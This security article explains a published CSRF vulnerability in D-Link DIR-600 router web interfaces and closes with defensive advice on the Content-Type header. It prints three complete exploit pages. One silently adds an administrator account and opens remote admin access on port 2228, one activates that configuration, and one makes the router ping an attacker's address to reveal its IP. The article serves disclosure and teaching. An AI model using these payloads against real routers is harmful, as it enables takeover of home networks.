The Importance of the Content-Type Header in HTTP Requests

Dawid Czagan, Founder and CEO at Silesia Security Labs and author of Bug Hunting Millionaire, is listed in HackerOne’s Top 10 Hackers. In a recent article on his website, Czagan disclosed the details of a vulnerability combining both Cross-site Request Forgery (CSRF) and Remote Code Execution (RCE) on routers, that led him to discover and gain access to the machines within the network of the router.

During his discovery, Czagan found out that the web interface of D-Link DIR-600 routers were vulnerable to a CSRF vulnerability. While CSRF is no longer listed in OWASP’s Top 10, it is still a significant problem.

Taking a Look at the Exploit Code

The exploitation of a CSRF vulnerability requires user interaction. This means that attackers have to trick their victims into clicking on a malicious link, whose HTML code will make the victim’s browser issue requests on their behalf.

We should take a closer look at the two compulsory requests made from the target’s browser to understand the vulnerability. Let’s name these REQ 1 and REQ 2 respectively.

Here is REQ 1:

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");

xhr.withCredentials = "true";

var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+

"<postxml>"+

"<module>"+

"<service>DEVICE.ACCOUNT</service>"+

"<device>"+

"<account>"+

"<seqno/>"+

"<max>1</max>"+

"<count>2</count>"+

"<entry>"+

"<name>admin</name>"+

"<password>==OoXxGgYy==</password>"+

"<group>0</group>"+

"<description/>"+

"</entry>"+

"<entry>"+

"<name>admin2</name>"+

"<password>pass2</password>"+

"<group>0</group>"+

"<description/>"+

"</entry>"+

"</account>"+

"<session>"+

"<captcha>0</captcha>"+

"<dummy/>"+

"<timeout>180</timeout>"+

"<maxsession>128</maxsession>"+

"<maxauthorized>16</maxauthorized>"+

"</session>"+

"</device>"+

"</module>"+

"<module>"+

"<service>HTTP.WAN-1</service>"+

"<inf>"+

"<web>2228</web>"+

"<weballow>"+

"<hostv4ip/>"+

"</weballow>"+

"</inf>"+

"</module>"+

"<module>"+

"<service>HTTP.WAN-2</service>"+

"<inf>"+

"<web>2228</web>"+

"<weballow>"+

"<hostv4ip/>"+

"</weballow>"+

"</inf>"+

"</module>"+

"</postxml>";

xhr.send(body);

}

</script>

<form action="#">

<input type="button" value="Submit request1" onclick="submitRequest();" />

</form>

</body>

</html>

Let’s begin analyzing the first request. The emboldened line is the crucial point in the vulnerability. But first, we have to find out the purpose of the entire request. Two admin accounts are added in the request. The first admin is the default administrator account with the password '==OoXxGgYy==', which is readily present. There are no changes made to that account. admin2 with the password 'pass2' is the new administrator account added due to the vulnerability. Additionally, remote access control authentication was allowed through port 2228 in the attack.

Here is REQ2:

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

xhr.withCredentials = "true";

var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";

xhr.send(body);

}

</script>

<form action="#">

<input type="button" value="Submit request2" onclick="submitRequest();" />

</form>

</body>

</html>

In the second request, the URL encoded SETCFG, SAVE, ACTIVATE action commands sent in REQ2 allow the activation of the settings in REQ1.

The Role of Routers in the CSRF Attack

The next step the attacker has to take is to discover the IP address of the target machine with the admin account and remote access port they obtained. The attacker does this by pinging the server it owns over the router interface using this code:

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

xhr.withCredentials = "true";

var body = "act=ping&dst=X.Y.Z.W";

xhr.send(body);

}

</script>

<form action="#">

<input type="button" value="Submit request3" onclick="submitRequest();" />

</form>

</body>

Note: 'X.Y.Z.W' is the IP address of the attacker’s device.

Cross-site Request Forgery in Routers

Now that we understand the logic behind the attack, we can observe the details that make the Cross-site Request Forgery vulnerability unique in this case. The REQ1 has an important role in the exploit of the vulnerability because the request generates a new admin account and configures the remote control access port. You should note that the payload has the XML format but the emboldened line in REQ1 states that the request type is set as text/plain instead of application/xml:

xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");

Had the system developers enforced a content-type compatible with the data type they expect, such as XML, the exploitation of this vulnerability would be not be possible.

This is because in AJAX/XHR requests, the browsers send a preflight request using the OPTIONS method to control whether the request is accepted or not in the recipient server, before sending the main request. This request is sent in the following circumstances:

If the request uses a method other than GET, HEAD, and POST If the Content Type is set to something other than application/x-www-form-urlencoded, multipart/form-data, text/plain types in POST requests If a custom header was set in the request

This control and detection mechanism is known as the CORS Preflight Request. Since the router wouldn’t send a positive response to REQ1, the CSRF request wouldn’t go through and the attack would fail.

The details on Same-origin Policy (SOP) and Cross Origin Resource Sharing (CORS) can be found on our whitepaper titled The Definitive Guide to Same-origin Policy.

Content-Type Header in Security

Setting the Content-Type header properly is very critical. This header is added to request and response headers since HTTP 1.0. You can manipulate the way the server will interpret the request by setting Content-Type in request headers. Similarly, you can choose how the program will process the response using Content-Type in response headers.

For example, in an HTTP response if the Content-Type is text/html, the HTML tags are rendered in the browser, displaying the result of the rendered HTML tags on the webpage.

In fact, to avoid Content Type Sniffing attacks, you must set the Content-Type header properly in the HTTP response.

Make sure to give the required emphasis on the Content-Type header in all HTTP requests and responses. Do not accept the formats other than expected. The HTTP Security Headers Whitepaper can help you set the necessary headers to establish the security of your websites.

Further Reading

You can read more about the vulnerability in Czagan’s article, From CSRF to Unauthorized Remote Admin Access.